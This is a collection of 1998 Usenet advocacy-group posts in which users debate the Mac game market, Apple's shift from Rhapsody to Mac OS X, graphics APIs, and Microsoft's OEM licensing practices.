> embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
>
> > No competition AND NO shelf space. Retail (volume) distributors are not
> > interested in a game that may sell to .5 percent of 4 percent of the
market
> > for game consumers. Games are retail products and frequently holiday
related
> > impulse buys.
>
> Of course, your numbers are ridiculous. Mac sales have recently been in
> the range of 15% of all software sales.
>
FIRST: I am President of an entertainment software company. I have paid for
market research and I have business relationships with worldwide software
distributors.
Everyone including Apple agrees that the Mac has about 4 percent market
share. Even if I assume that all of that 4% are potential game buyers, it is
still not a large enough market compared to other available markets to
interest world wide distributors.
Sales of MacOS 8 in the "best seller" category are not representative of
potential entertainment title sales. Every Mac user wants/needs an OS
upgrade. Only a small percentage of Macs have any commercial games and only
a small percentage of those will have a particular game.
A game must sell a _minimum_ of 60,000 copies to interest a world wide retail
distributor. To make that sales figure in the Mac market, the game would
have to have 10% market share or better. That is unrealistic.
To reach those sales figures, a Wintel game can have 0.1% market share. (10%
/ 96%)
Without a retail channel, most commercial games are not viable. Mail order
game sales have not historically been strong or sufficient. Games are
frequently seasonal impulse buys.
The actual numbers:
40,000,000 entertainment software units are sold into the Windows 95 market
annually. The Windows 95 game market exceeds 12 Billion dollars annual
sales. Sony Playstation title sales once topped 9 Billion. I don't have the
numbers for the Mac because no research firm is interested in calculating
them. I would guess that total entertainment sales in the Mac market are
under 500 Million and probably under 100 Million. Like it or not, Mac is not
a viable commercial game platform for most companies. Riven etc. can live
there. Limited appeal Strategy/Simulation games can not.
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 10:27:50 -0700
Organization: UC Irvine
Message-ID: <atlauren-1706981027500001@jungleland.acs.uci.edu>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com> <cirby-1506981529250001@pm53-28.magicnet.net> <3585EA07.BDE7E2C6@spamtoNull.com>
_3;X4o1Yg^$]=Oc\u
In article <3585EA07.BDE7E2C6@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>> CD-quality sound that's been in the Mac for almost fifteen years now,
>> which *works*, and which you don't need special drivers or add-ons for to
>> get that same CD-quality sound.
<snip>
>As far as "works" goes, what do you mean? The products I am referring to
>all "work" just fine. It's hard to imagine how they'd sell if they
>didn't "work."....:)
Odd that you would mention that.
Tuesday evening I watched two computing professionals spend several hours
trying to get a 16bit sound card (I don't know from what manufacturer) to
work, in a very standard PC. The sound card was PCI, if I'm not mistaken.
One of these guys runs a very successful PC consulting firm hereabouts,
and is among the best in his field. I have immense respect for his
abilities as a technician, an engineer, and as a human being. He also is
an MCSE, a CNE, and probably a host of other industry certifications. The
other guy is an NT developer, and is most definitely not an idiot.
They couldn't get it to work. At all. Last I heard they were chasing
down possibilities of BIOS flashes, Plug-n-Play vs. non PnP, CMOS
settings, and even DOS-based configuration utilities for the sound card.
It's important to note that, more often than nearly everyone likes to
admit, stuff like this on PCs *doesn't* "just work." Often it does, but
often it does not.
And then there's the topic of supposedly expandable consumer PCs, which
come from the factory configured such that there are *no* available IRQs.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 17 Jun 1998 17:35:32 GMT
Organization: Indiana University, Bloomington
Message-ID: <6m8up4$oe5$1@flotsam.uits.indiana.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <35872ab1.0@news.together.net> <6m7hq0$l34$1@flotsam.uits.indiana.edu> <mNOSPAMroeder-1706981018390001@192.168.21.168>
In article <mNOSPAMroeder-1706981018390001@192.168.21.168>,
Michael Roeder <mNOSPAMroeder@macromedia.com> wrote:
>In article <6m7hq0$l34$1@flotsam.uits.indiana.edu>,
>glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
>
>> So what does it mean when something is "Osborned"?
>
>It means to kill an existing product's sales by announcing a better
>product before you're ready to sell it. Microsoft has even done this to
>competitors.
And some people wonder why others don't like Microsoft...
>> --
>> "Don't just do something, stand there!" - Buddah
>
>That sounds like something that might be attributed to a Buddhist. :-) But
>did Buddha actually say that?
I really doubt it. My brother passed it on to me, and I didn't really feel
right about changing the attribution.
--
"Don't just do something, stand there!" - Buddha
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 12:51:50 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uaf7cvumx.fsf@ai.mit.edu>
References: <6m50v9$ld8$1@news.cs.tu-berlin.de> <B1ABE24D-21B94@206.165.43.13>
"Lawson English" <english@primenet.com> writes:
> So, is the core of my point invalid?
>
> Quadratics can be rendered/dealt-with faster than cubics.
In comparing a single quadratic versus a single cubic, I'd say yes.
If, however, you are trying to draw a cubic (for example, if you're
using a PostScript font, or the curve features of the latest
PowerPoint, or any of a number of cubic-enabled drawing packages, the
best you can do using quadratics is an approximation using several
quadratic curves, which will at best make the two equivalent.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 17 Jun 1998 17:46:45 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6og085.qg6.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com> <6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com> <6m8k50$5mq$2@ironhorse.plsys.co.uk> <6m8s9d$t22@nntp02.primenet.com>
On 17 Jun 1998 09:53:01 -0700, John Jensen <jjens@primenet.com> wrote:
>Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
>: No signs MacOS X won't be Rhapsody with just the Carbon API's tacked on.
>: Technically speaking, no biggie. By introducing Rhapsody and then
>: changing names, it gives Apple a REALLY big window to play with.
>Remember the kid's game of "telephone"? The message that "MacOS is
>Rhapsody" gets passed down the advocacy line until there are "No signs"
>that MacOS won't be Rhapsody with just a string change and Carbon APIs
>tacked on.
based on the WWDC slides, I am very sure that MacOSX *IS* based on Rhapsody,
with a few changes.
1) DPS is gone
2) Carbon has been added
3) The kernel has been changed from Mach 2.5+++ to Mach 3.0
Both YellowBox and BlueBox are planned. Java support will be improved.
>Hence my question about binaries.
Don't know. Oddly enough, it has been reported that NS3.3 libs can be added to
Rhapsody DR1/PC so you can run NeXTStep Apps. Perhaps, if MacOSX can not run
Rhapsody binaries, you'll be able to just copy over the frameworks and run the
Apps that way.
--
sal@panix.com
Salvatore Denaro
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 19:46:56 +0200
Organization: pv
Message-ID: <1das76x.799szn1a3s6d2N@dialup146-1-40.swipnet.se>
References: <3586B3E2.33590565@ctron.com> <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <6m7hq0$l34$1@flotsam.uits.indiana.edu> <6m7iem$lbs$3@news.xmission.com>
Cache-Post-Path: mn8!s-49817@dialup146-1-40.swipnet.se
Don Yacktman <don@misckit.com> wrote:
> glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> > So what does it mean when something is "Osborned"?
>
> It is really that hard to go back to the post that kicked off this thread and
> read the article at the given URL? The first two paragraphs will answer your
> question. I've appended them below for your convenience.
>
> The situation with Rhapsody is actually slightly different, but could
> potentially have a similar outcome. In this case, the self-fulfilling
> prophecy of "nobody is buying the Intel version, hence it is worth killing".
> They've irreparably killed it before it had a chance to prove itself.
Actually it's a bit worse than that. There is a negative effect on the
Mac-only people too. Some (not too few i'm sure) have equipment bought
explicitly for the next future Mac OS. While Apples is showing off their
inability to actually deliver a Macintosh OS that uses a "modern"
foundation this equipment is gradually becoming obsolete. Many watch
very carefully for any sign of OS delay. Apples announcement of Mac OS X
can be perceived as "we were once again unable to deliver. by the way,
the computer you bought for the new OS - forget it, why don't you buy
another one?". We wont buy another one until we know for certain it will
run that next future Mac OS. The only way to know is to wait until the
next future Mac OS really is released. In other words the announcement
of Mac OS X has delayed hardware buys at least 18 months. I don't think
I'm unique in this. I planned to buy a new Powerbook and my 8500/120
(bought on the promise of Copland...) is getting slow. When Copland
failed, I promised myself that the next computer i buy from Apple is a
computer that is sold with a Mac OS that does have protected memory,
etc... Seems I have to wait with those hardware buys for quite a while -
the Osborn effect.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 17:45:34 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6m8vbu$6u9$1@news.spacelab.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) wrote:
>On Tue, 16 Jun 1998 22:31:01 -0700, Matthew Vaughan
<see-below@not-my-address.com> wrote:
[ ... ]
>> The Rage II slated for the iMac is "ok" for 2D, and basically worthless
>> for 3D. (ie, most 3D games can't use it at all, and you're left running in
>> software-only). Rage Pro is not bad, at either 2D or 3D (of course this
>> varies significantly depending on the game).
>
> Maybe Apple needs to provide tools to let software houses better use the
> Rage chip. Or they need to move to another chip. Is there any reason why
> software houses can not use the 3d features of the rage? Does ATI hinder
> it's use?
The basic problem with some of the older 3D chipsets is that they have
bottlenecks which make them so slow that a pure software engine is going to
outperform their hardware acceleration-- one aspect of the continuing
improvement in CPU performance and fast FSB memory access with SDRAM.
This is even more the case for the PPC in the iMac compared to Wintel PC's,
since the PPC is proportionally better than the Intel Pentium at floating
point....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m7gri$lbs$2@news.xmission.com>
From: rousseau@snowcap.net (Michael Rousseau)
Message-ID: <358802f0.0@news.gj.net>
Date: 17 Jun 1998 11:54:56 -0700
I would tend to agree with this observation. I type this on my Cube, with my trusty functional 1989 Mac
IIci sitting next to it. These machines do, for me, in fact provide what I need.
I reluctantly just acquired my first personal Intel box for non-UNIX duties. I have been working as a
NEXTSTEP and Sun SysAdmin for over five years, and never saw the value of investing in the Wintel platform
for personal use. I actually find it funny that I have a 333MHz 128MB PII box sitting behind me, yet I
browsed that URL (http://macopinion.com/editorials/rhaposb.html) in lynx on an old 040 black box. Guess it
is still hard to take Wintel solutions seriously after living with robust hardware/OS solutions.
Mac OS 7.5.X might not be the pinnacle of robustness, but it is Win3.1 era and works better than 95 IMNSHO.
And I expect my IIci to work well past the Y2K problems that it's Intel bretheren from pre-1996 will
encounter.
Love the old functional stuff,
Mike
don@misckit.com (Don Yacktman) wrote:
>jrudd@cygnus.com (John Rudd) wrote:
>> However, in a sense, the robust quality of the Macintosh is a
>> thorn to Apple. Many of their traditional user base are a lost
>> revenue to Apple precisely because the machines are quite capable
>> of remaining useful for years to come.
>> [...]
>
<SNIP>
>It seems like a large percentage of Mac owners are people who have fewer
>requirements for their machines. They got it for, say, basic word
>processing. (ie, Often they are running not-very-demanding apps that work
>just fine on the lowest of low end hardware--low end by today's standards,
>that is.) It works, so why bother upgrading? If it does what you want and
>doesn't leave you wanting or needing anything more, what incentive is there
>for an upgrade?
>
>In the PC world, it seems like everyone upgrades as quickly and as often as
>they can because the machines never work right (especially if they're running
>windows). Whan an upgrade is purchased, there's a hope that "this time" it
>will work right. Of course, the fact that it doesn't work as they had hoped
>leaves them ready to make the next upgrade well before it is released. It
>also doesn't hurt to have a tech support department run Dogbert-style that
>tells everyone all their problems "will be fixed in the next release" instead
>of offering a patch or actually helping the user...
>
<SNIP>
>Later,
>
>-Don Yacktman
>don@misckit.com
><a href="http://www.misckit.com/don.html">My home page</a>
>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 17 Jun 1998 17:57:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6og0rv.qg6.sal@panix3.panix.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com>
On 17 Jun 1998 00:32:59 GMT, John Rudd <jrudd@cygnus.com> wrote:
>They've publicly stated that they may be dropping support for pre-G3 machines
>for MacOS X.
<RDF>
They have not said that they won't, they only haven't said that they will.
</RDF>
(With apologies to Joseph Heller. Hmmm... Steve Jobs as Major Major Major?)
Apple is word-lawyering to avoid over-promising and under delevering. They
are not going to make claims that might cause problems for them.
>Apple wants to build revenue by gettings its users out of the traditional "I
>run my webserver on my 12 year old Mac" type mindset, and into the wintel
>mindset of "it's tuesday, better upgrade my PC again".
Yes, I see this as well.
>However, n a sense, the robust quality of the Macintosh is a thorn to Apple.
>Many of their traditional user base are a lost revenue to Apple precisely
>because the machines are quite capable of remaining useful for years to come.
> There has been _SOME_ "end of lifetime" movement in Apple in the past, but
>not anything near the scope of what happens in the PC world. While it speaks
>volumes about the good design of Mac hardware, it also speaks volumes about
>how much money is being thrown around in the PC universe.
Very good points.
--
sal@panix.com
Salvatore Denaro
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 17:59:48 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m906k$kt8$1@news.cs.tu-berlin.de>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net> <6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net> <6m7ltq$kd8$1@news.cs.tu-berlin.de> <6m83m1$dbl$2@ns3.vrx.net>
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maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <6m7ltq$kd8$1@news.cs.tu-berlin.de> Marcel Weiher claimed:
>> As it stands now, that claim is correct, it is the status quo. However,
>> that status quo is purely a historical artifact.
> Balogna. Would you suggest that OSF/1 is a good OS for handheld devices?
>How about QnX on the desktop?
The discussion was about the 'distinction' between server and client
OSes. Please leave your straw-men at home. I won't make the claim
that a full UNIX is desirable in a watch.
>> Why should a client OS crash?
> What does that have to do with anything?
Please define what makes a server OS different from a client OS.
>> Why should a server OS have a crappy UI?
Please define what makes a server OS different from a client OS.
> The differences have to do with things like the kernel and the software
>bundle.
Define.
>> UNIX was not created as a server OS, it was intended for 'personal'
>> computers running text processing tools and playing space wars.
> I'd hardly call a PDP-11 a "personal computer".
Pretty much the most personal computer they could get at the time.
Times change.
Marcel
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 18:01:42 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6m90a6$6u9$2@news.spacelab.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <35852FC2.1433BE70@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Salvatore Denaro wrote:
[ ... ]
>> Where can I get Office for the Sony PlayStation? :)
>
>I *knew* you'd hit me with that...:) ....which is wy I including the
>word "computer" in post...:)
What makes a PlayStation not a computer?
It's not an Intel-based PC, agreed-- but a Mac isn't one, either....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 11:13:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AD551E-349A1@206.165.43.101>
References: <6m86ht$dbl$7@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>To even think about using GX in any normal
>program you had to include two sets of code, one for GX and one for QD.
>Lawson simply refuses to accept that this was a MASSIVE problem for
>developers.
Not at all. What was lacking from GX was an immediate mode to provide what
QDe provides. Had they done THAT, they could have implemented QDe years
ago using GX. Instead, they chose to implement the "Create shape, draw
shape, delete shape" strategy, without any optimizations and claim that it
was sufficient. Even THAT would have been good enough had they provided a
flag to completely turn off caching (which would make PowerMac GX faster
anyway, I'll bet, since 68K-oriented caching probably slows things down on
PPC).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 12:57:16 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3588037C.BF782522@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <rmcassid-1706980838410001@dante.eng.uci.edu>
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NNTP-Posting-Date: 17 Jun 1998 18:02:17 GMT
Robert Cassidy wrote:
> Whoops - leap of logic made there...
>
> There is a reason why 50% of software purchases are games or edutainment -
> they depreciate. The more you play a game, the more the 'shine' wears off
> and you long for a new game. That's how entertainment works - its
> self-depreciating. But if you compare how much _time_ people spend using
> their computers, I wouldn't be surprised if Quicken, IE, and Eudora were
> up at the top for home usage. I play games as well, but I do more Quicken,
> email, and web surfing than I do games, generally. And if you throw my
> wife into the equation, there's no question that it works out that way.
So what? I spend far more time sleeping on my bed than I do skiing at
Keystone, but the resort makes far more money on my activities than does
Sealy.
Besides, if you actually played a lot of PC games, you'd realize just
how much time they require. It's incredible, and it would frighten you.
I know kids who have stopped watching TV for 7 hours a day because
they're playing Quake for 7 hours a day. I don't know when these kids
sleep.
> Edutainment probably favors the iMac. Edutainment titles are more likely
> Quicktime based and tend to not need all the twitch hardware. Internet
> gaming is a little less likely to need the twitch hardware as well due to
> the bottleneck surrounding the network connection.
Actually, it's the opposite. The network connection bandwidth
necessitates a large and active client that can stimulate the user
without extensive information from the server or peer.
> >The Rage II slated for the iMac is "ok" for 2D, and basically worthless
> >for 3D. (ie, most 3D games can't use it at all, and you're left running in
> >software-only). Rage Pro is not bad, at either 2D or 3D (of course this
> >varies significantly depending on the game).
>
> I thought it was getting Pro?
It won't matter. The Pro is a generation old *today*. In August, the
Rage Pro will be a $5 part in bulk. The fastest Rage Pro cards available
will be found in bargain bins at gray market swap meets for $20. They'll
be labeled "PCI 3D Video Card - 4MB SGRAM".
[cut]
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 17:35:16 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ofvik.qg6.sal@panix3.panix.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
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On 16 Jun 1998 17:04:14 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <slrn6odnt9.ckr.sal@panix3.panix.com> Salvatore Denaro claimed:
>> Good multitasking is good multitasking. There is no reason why a good
>server
>> can not be a good client and vice versa.
> This does not follow. For instance there are any number of tasking systems
>which are good on servers and not clients, Novell uses a CMT based system for
>instance, and RT OS's would be poor choices as well (at least those with
>fixed priorities). The statement above is simply not true.
Good point. I withdraw the comment.
I do think it is possible for a system to do well as both a client and as a
server. Unix has been doing that for decades. VMS comes to mind. Some mainframe
systems could handle large "batch jobs" while still offering decent interactive
response time.
> Nor would you want the performance of all of your client workstations
>compromised by the tight enforcing of security policy. For instance€C3
>requires a server to shut down when the log file gets too full (IE, you are
A network is only as strong as its weakest node. It is up to the sysadmins
to find the right balance between security and performace (and ease of use)
>> Look at what Rhapsody has today. Use that as a starting point.
> Which is seriously in doubt for MacOS-X, wouldn't you say?
No. Everything I've seen has indicated to me that MacOS would build on Rhapsody.
I am not aware of anything (save DPS/NSHost) that is "going away"
>> BSD is a standard. NFS is another. Both are in Rhapsody.
> The discussion is not about Rhapsody, it's about MacOS-X.
MacOSX *is* Rhapsody's Mach/BSD core + Carbon.
--
sal@panix.com
Salvatore Denaro
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: Wed, 17 Jun 1998 12:47:38 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3588013A.D138B39D@nstar.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net>
<6m7ltq$kd8$1@news.cs.tu-berlin.de> <6m83m1$dbl$2@ns3.vrx.net>
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NNTP-Posting-Date: 17 Jun 1998 17:52:38 GMT
Maury Markowitz wrote:
[cut]
> > UNIX was not created as a server OS, it was intended for 'personal'
> > computers running text processing tools and playing space wars.
>
> I'd hardly call a PDP-11 a "personal computer".
Well, it wasn't, but you're missing the point. The PDP-11, running a
UNIX kernel, wasn't meant to be a "server", either. It was intended to
be a timesharing system with multiple terminals attached, upon which
actual humans would work and interact directly with the system itself
*in* the system's environment. Just because there were no video cards,
sound cards, and 17" monitors attached to the PDP-11 doesn't mean that
it wasn't intended for the use Marcel indicates. The PDP-11 was as much
a "personal computer" as anything was before the advent of the Apple II.
MJP
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: NSHosting VS M$'s WTS
Date: 17 Jun 1998 16:51:27 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd9a0f$f10c3d20$04387880@test1>
References: <3586F991.54A4@rs6000.cmp.ilstu.edu> <35863B09.1481@southwind.net>
jmz@southwind.net wrote
> If you need remote computing,why not just run Unix and be
> done with it?
Its the applications, stupid. (I am *not* calling you stupid, I am just
borrowing the phrase from the Clinton campaign :-)
Remote computing is really useful when you want to run an application that
doesn't run on your desktop. system For example, you may have a Mac or
Unix/X box on your desk, but you *need* to run a windows-only application
(e.g., an inventory system your organization forces you to use). Or, the
application may take more resources than your desktop system can support,
so you run it on a larger server and display locally.
I am not convinced that Unix/X has the applications many/most people want
to run on their desktops. It may have the capability, but it doesn't have
the applications to drive the use.
By the way, it is not UNIX that supports the remote display, but X windows.
And X windows is available for Macs, OpenStep/Mach, and I am sure it will
be for Rhapsody and MacOS X.
Todd
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 17 Jun 1998 19:06:44 GMT
Organization: gte.net
Message-ID: <6m93ol$oq2$1@news-1.news.gte.net>
References: <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <6m1m3g$2cms@yuma.ACNS.ColoState.EDU> <6m5rgp$9lu$19@news-2.news.gte.net> <35c69111.43525890@news.supernews.com>
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On Tue, 16 Jun 1998 15:40:59 GMT, someone claiming to be T. Max Devlin
wrote:
>roger@. (Roger), on Tue, 16 Jun 1998 13:26:26 GMT,
>>On 14 Jun 1998 23:24:32 GMT, someone claiming to be Larry Pyeatt
>>wrote:
>>>In article <3581A52E.9FD3DB3C@nstar.net>,
>>> "Michael J. Peck" <mjpeck@nstar.net> writes:
>>>> Larry Pyeatt wrote:
>>>>> MS compells and constrains OEMs to sell ONLY MS operating systems.
>>>> No, it does not. Read the licensing agreements. OEMs are in *no way*
>>>> forced to sell MS operating systems. VA Research is only one example of
>>>> an OEM that does NOT sell MS operating systems.
>>>Yes, and as a result, they have a very small market. If they wanted
>>>to have a larger market, they would sell MS operating systems. In
>>>which case, they would be forced by MS to sell ONLY MS operating systems.
>>No, they would not be. Read the licensing agreements.
>Small manufacturers don't _have_ licensing agreements with Microsoft.
>They just buy the software by the package.
And this rebuts my and Michael's statements that the OEM agreement
does not explicitly prohibit the sale of other OSes ... how?
>>>The larger companies, who are competing for a bigger piece of the pie
>>>all have to sign exclusive contracts with MS.
>>>http://www.essential.org/antitrust/ms/jun3survey.html
>>Well, since this person has not read the agreements either, this does
>>nothing to prove your point ( hint: the salesdroids that this person
>>spoke with have not read them either )
>Clue: the salesdroid worked for the manufacturer, and said the same
>thing most other salesdroids are saying. Is this simple negligence, or
>a coercive marketing ploy?
I'll go with ignorance on the part of the salesdroid. They aren't
paid to understand the nuances of the contracts their company signs,
they are paid to move boxes. They probably could not get a peek at
the contract if they wanted one.
> [remainder snipped as too contentious and meaningless, OMA]
Put back in to show exactly what Max has no answer to, and so runs
away from:
OTOH, Arthur Dent (someone who * has * posted the following in message
<6jss21$n8j$1@news.vic.com>:
"I've been a Systems Integrator and Dealer for ... oh ... fifteen
years now, so you might want to listen up for a bit of professional
perspective as to why you're full of bung.
Microsoft's licensing agreements have *never* had that sort of
effect on a Dealer. You are 100% wrong. It is only those companies
who go directly into contract with Microsoft for beneficial reasons,
and it doesn't apply to everything.
If those companies do not go directly into contract, they can
still buy and install and sell Microsoft programs... BUT --- With
contract, Microsoft grants them license to use their Name and Logo and
Slogans in their marketing campaigns. That's where these licensing
agreement come in.
There are several ways for a company to get Microsoft's promo
packs - They can enter into Reseller Agreements with Second-Tier
Vendors who sell Microsoft products. They can call Microsoft and pay
$80 for their Promotional Pack. Or ... They can sign Agreements of
Exclusivity. This is the easiest, and allows the Vendor or
Manufacture certain exclusive rights in return --- direct purchase of
all Microsoft Products from Microsoft, Level 3 support, Site licenses,
training sessions, etc. etc.
Signing those Agreements gives you more than you can imagine. But
they're nothing that anyone else can't get with a little Cash. They're
a money and time saver, and that's all. And companies WILLFULLY sign
into them for that."
>So, to re-phrase: "MS monopoly in the OS arena allows them to FORCE
>the OEMs into only supporting MS products, thereby suppressing the
>opposition.
And to rephrase, you are incorrect unless you have better evidence in
support of this assertion than you have presented thus far.
>> Its customers can. Welcome to the free market.
>YES!!! Perhaps you are right. The first step of that process is to
>have the government find out whether MS has been abusing its monopoly
>status. The mechanism set up for that purpose is now doing its job.
